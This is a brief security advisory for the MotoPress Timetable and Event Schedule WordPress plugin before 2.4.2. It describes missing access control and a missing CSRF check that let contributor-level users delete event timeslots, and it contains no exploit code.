Timetable and Event Schedule by MotoPress < 2.4.2 - Unauthorised Event TimeSlot Deletion

The plugin does not have proper access control when deleting a timeslot, allowing any user with the edit_posts capability (contributor+) to delete arbitrary timeslot from any events. Furthermore, no CSRF check is in place as well, allowing such attack to be performed via CSRF against a logged in with such capability
